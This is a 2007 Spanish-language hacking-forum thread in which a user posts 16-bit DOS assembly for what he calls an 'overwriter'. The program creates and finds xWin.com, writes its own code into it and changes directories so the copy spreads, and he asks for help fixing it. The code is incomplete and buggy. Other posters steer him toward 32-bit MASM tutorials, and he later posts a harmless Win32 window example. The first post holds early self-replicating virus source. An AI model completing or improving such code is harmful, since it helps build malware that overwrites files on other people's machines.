Nuevas NORMAS para el foro

Curso Hacker
Bienvenido(a), Visitante. Favor de ingresar o registrarse.
¿Perdiste tu email de activación? - Julio 26, 2008, 08:20:26
Boton Buscar
Inicio Ayuda Ingresar Registrarse
Visita: Articulos - Juegos Gratis - Da Foros

Comunidad Underground Hispana  |  Programacion  |  Programación  |  ASM (Moderador: The Shadow)  |  Tema: [W] Alguien me ayuda con este codigo ?? 0 Usuarios y 1 Visitante están viendo este tema. « anterior próximo »
Páginas: [1] Ir Abajo Imprimir
Autor Tema: [W] Alguien me ayuda con este codigo ??  (Leído 188 veces)
ven0m
Colaborador
*****
Desconectado Desconectado

Mensajes: 782


Christina...Eat me, drink me...

x_0@hotmail.de
Ver Perfil Email
« en: Diciembre 15, 2007, 06:56:53 »

Buenas...despues de estar sentado aqui y pensando en donde esta el problema en mi codigo.. no puedo llegar a una solucion...
empiezo...
Lo que quiero hacer es es crear un .COM (xWin) y poder copiar en el, en el el codigo de el programa madre
(code). 

Miren esto es lo que quiero que haga code:

1. Crear xWin
2.Que lo encuentre
3.Lo abra con permisos
4.Escriba el codigo de code
5.Si no lo encuentra que lo cree en los dirs definidos


miren  aqui posteo el code :

Código:
.model tiny
code segment
assume cs:code,ds:code
org 100h

start:
  mov ah,3ch              ;Creamos xwin    
  lea dx,xwin          ;Puntero para nombre del archivo
   xor cx,cx ;Mire abajo
  int 21h                               

  mov ah,3eh                            ;Cerramos por ahora..                             
  int 21h

seek:
  mov ah,4eh                            ;Encuentra xwin
next:
  lea dx, xwin                          ;Carga win
    xor cx,cx                           ;Mire arriba
  int 21h
 jc start                               ;Si no encuentra cambia directorio

  mov ax,3d02h                          ;Abre con permisos                               
  mov dx,9eh                            ;DTA Para abrir
  int 21h
 jc error                               ;Si da un errores..
    xchg bx,ax                          ;cambiamos registros
  mov ah,40h                            ;Escribimos
  mov cx,offset fin - offset start      ;
  mov dx,offset start                   ;
  int 21h
error:
  mov ah,4fh                            ;Buscamos..
  jmp next                              ;Vea arriba
 
dir_a:                                  ;Cambiamos
  mov ah,3bh                            ;
  lea dx,a                              ;
  int 21h
 jnc start                              ;repite si no da error
dir_b:                                   ; [b]En estos directorios tengo problemas[/b]
  mov ah,3bh
  lea dx,b
  int 21h
 jnc start
dir_c:
  mov ah,3bh
  lea dx,c
  int 21h
 jnc start
ende:
  mov ax,4c00h                          ;Le deja el control a dos :D
  int 21h

xwin db 'C:\xWin.com',0                      ;Definimos
a db 'C:\tasm\doc'
b db 'C:\tasm\'
c db 'C:\'
fin:
code ends
end start
 
 
   

Este code seria como un overwriter... pero lo que yo quiero que sobreescriba es solo el archivo xWin ( Si lo encuentra ) copie su codigo.. y asi sucesivamente.. la verdad quiero que se copie en todos los directorios..

alguien me ayuda ?

PS: No quiero que infecte todos los coms...

salud0s
« Última modificación: Marzo 31, 2008, 08:19:11 por The Shadow » En línea

R-E-S-P-E-C-T, find out what it means to me


Christina..Christina..Brak mi ciebie moj EMO-Princesa..BARDZO CIE KOCHAM!!!
AzRaEL
Moderador Global
Habitual
*****
Desconectado Desconectado

Mensajes: 372


15 dias para que me entreguen mi mascota!!


Ver Perfil
« Respuesta #1 en: Diciembre 21, 2007, 04:36:37 »

.model tiny
code segment
assume cs:code,ds:code
.
.
.

Este code me recuerda el iret y jnae de mis tiempos (1990), para empezar eso es a 16 bits y ademas hasta win98, por tratarse de segmentos, los segmentos dejaron de usarse a partir de win 98 pero en realidad hasta winxp que se convirtio en una verdadera paginacion de memoria, paso, por paso, primero define para que plataforma lo quieres armar y de ahi partimos, no le veo mayor complicacion a asm32 inclusive hasta en masm32 puedes hacerlo con los tutoriales que te ofrece, empieza descargandotelos de:
Para ver los enlaces debes ser usuario Crear Usuario o Hacer Sesion  y empieza a armar el code tu solo, de ahi partimos y con gusto te doy tips..


saludos
En línea

Carbide Senior Developer
crackenfind.net
eof-project.net

ven0m
Colaborador
*****
Desconectado Desconectado

Mensajes: 782


Christina...Eat me, drink me...

x_0@hotmail.de
Ver Perfil Email
« Respuesta #2 en: Diciembre 21, 2007, 05:58:24 »

ufff ok.. mira este tutorial esta bueno ?? crees ?


Para ver los enlaces debes ser usuario Crear Usuario o Hacer Sesion


bueno.. ok.. estaba leyendo un tuto aleman sobre ese tipo de asm.. pero bueee voy a ver los de masm32 y esos

salud0s
En línea

R-E-S-P-E-C-T, find out what it means to me


Christina..Christina..Brak mi ciebie moj EMO-Princesa..BARDZO CIE KOCHAM!!!
AzRaEL
Moderador Global
Habitual
*****
Desconectado Desconectado

Mensajes: 372


15 dias para que me entreguen mi mascota!!


Ver Perfil
« Respuesta #3 en: Diciembre 21, 2007, 12:51:45 »

No, toma uno para win32 no uno para 16 bits
En línea

Carbide Senior Developer
crackenfind.net
eof-project.net

ven0m
Colaborador
*****
Desconectado Desconectado

Mensajes: 782


Christina...Eat me, drink me...

x_0@hotmail.de
Ver Perfil Email
« Respuesta #4 en: Diciembre 24, 2007, 07:51:41 »

Ahha ok.. encontre uno de SnakeByte.. lo conoces ??.. es un aleman Tongue nos mandamos unos SMS y todo.. bueno el tuto es.. sobre Win32-bit asm tutorial..
espero que ese tipo de tutoriales sea el que me hallas recomendado.. creo que los interruptores son cambiados por las APIs... y los registros empiezan con una "e"..

mov eax,ebx.

salud0s
« Última modificación: Diciembre 24, 2007, 07:52:47 por ven0m » En línea

R-E-S-P-E-C-T, find out what it means to me


Christina..Christina..Brak mi ciebie moj EMO-Princesa..BARDZO CIE KOCHAM!!!
The Shadow
Moderadores
Colaborador
*****
Desconectado Desconectado

Mensajes: 754


Fucking mnemonic c0d1n6!

shadow@el-hacker.org
Ver Perfil Email
« Respuesta #5 en: Diciembre 26, 2007, 07:11:59 »

pos weno ... cuando los registros empiezan con una "e" significa que se esta codeando para 32-bit... en la codeacion de programas en asm .... se utilizan las lib que trae el compilador ...x ejemplo ... el MASM trae la lib "shell32.dll" asiq si la incluys en tu code podes usar APIs del shell32.. xD  ..... c00l no? jeje

Saludos
En línea


Para ver los enlaces debes ser usuario Crear Usuario o Hacer Sesion





Para ver los enlaces debes ser usuario Crear Usuario o Hacer Sesion
Reglamento del Foro
     Linux  Registered User #473016
ven0m
Colaborador
*****
Desconectado Desconectado

Mensajes: 782


Christina...Eat me, drink me...

x_0@hotmail.de
Ver Perfil Email
« Respuesta #6 en: Diciembre 27, 2007, 07:54:42 »

Pos si lo sabia... si usas las del kernel32.dll o user32.dll que son las mas usadas puedes hacer mucho Tongue solo las incluyes en tu codigo....


salud0s

PS: Pero es muyyyyyyy dificil.. y solo encuentro tutoriales donde para hacer un msgbox necesitas mucho codigo.. o para hacer una ventana normal.. uffffff  yo creia que 32 bits asm era como el normal.... pero.. solo cambiaban los registros y todo.. eso de win32 asm es dificil pero bueno.

Código:
;fenster.asm
.386
.MODEL flat,stdcall
option casemap:none

INCLUDE c:\masm32\include\windows.inc
INCLUDE c:\masm32\include\user32.inc
INCLUDE c:\masm32\include\kernel32.inc
INCLUDELIB c:\masm32\lib\user32.lib
INCLUDELIB c:\masm32\lib\kernel32.lib

WndProc PROTO :dword, :dword, :dword, :dword

.DATA
szCaption db "Das erste Fenster",0
szClassName db "My_Class",0

.DATA? ;uninitialisierte Daten
hInstance HINSTANCE ?
hIcon HANDLE ?
hCursor HANDLE ?
hWnd HWND ?
cCmdline LPSTR ?

.CODE
start:
  call mymain
  invoke ExitProcess,0


mymain PROC
  LOCAL wwd:dword,wht:dword,wtx:dword,wty:dword,wc:WNDCLASSEX
 
  invoke GetModuleHandle,NULL
  mov hInstance,eax
  invoke GetCommandLine
  mov cCmdline,eax

  mov wtx,CW_USEDEFAULT ;oder konkrete Angaben: 0
  mov wty,CW_USEDEFAULT ;0
  mov wwd,CW_USEDEFAULT ;400
  mov wht,CW_USEDEFAULT ;400
 
  mov wc.cbSize,SIZEOF WNDCLASSEX
  mov wc.style,CS_BYTEALIGNCLIENT or CS_BYTEALIGNWINDOW
  mov wc.lpfnWndProc,OFFSET WndProc
  mov wc.cbClsExtra,NULL
  mov wc.cbWndExtra,NULL
  push hInstance
  pop wc.hInstance
  mov wc.hbrBackground,COLOR_BTNFACE+1
  mov wc.lpszMenuName,NULL
  mov wc.lpszClassName,OFFSET szClassName
  invoke LoadIcon,NULL,IDI_APPLICATION
  mov hIcon,eax
  mov wc.hIcon,eax
  mov wc.hIconSm,eax
  invoke LoadCursor,NULL,IDC_ARROW
  mov hCursor,eax
  mov wc.hCursor,eax
 
  invoke RegisterClassEx,ADDR wc
 
  invoke CreateWindowEx,WS_EX_LEFT,ADDR szClassName,ADDR szCaption,
                        WS_OVERLAPPEDWINDOW,wtx,wty,wwd,wht,NULL,NULL,hInstance,NULL
  mov hWnd,eax
 
  invoke ShowWindow,hWnd,SW_SHOWNORMAL
  invoke UpdateWindow,hWnd
 
  call MsgLoop
  ret
mymain ENDP
 

MsgLoop PROC
  LOCAL msg:MSG
 
  Startloop:
    invoke GetMessage,ADDR msg,NULL,0,0
    or eax,eax
    je Exitloop
    invoke DispatchMessage,ADDR msg
    invoke TranslateMessage,ADDR msg
    jmp Startloop
  Exitloop:
  mov eax,msg.wParam
  ret
MsgLoop ENDP

WndProc PROC hWin:dword,uMsg:dword,wParam:dword,lParam:dword
  .IF uMsg == WM_DESTROY
    invoke PostQuitMessage,NULL
  .ELSE                     
    invoke DefWindowProc,hWin,uMsg,wParam,lParam
    ret
  .ENDIF
  xor eax,eax
  ret
WndProc ENDP

END start

a esto me referia.. eso hace una ventana normal Tongue
« Última modificación: Diciembre 27, 2007, 09:08:48 por ven0m » En línea

R-E-S-P-E-C-T, find out what it means to me


Christina..Christina..Brak mi ciebie moj EMO-Princesa..BARDZO CIE KOCHAM!!!
Páginas: [1] Ir Arriba Imprimir 
Comunidad Underground Hispana  |  Programacion  |  Programación  |  ASM (Moderador: The Shadow)  |  Tema: [W] Alguien me ayuda con este codigo ?? « anterior próximo »
Ir a:  


Ranking-Hits
Powered by SMF 1.1.5 | SMF © 2006-2007, Simple Machines LLC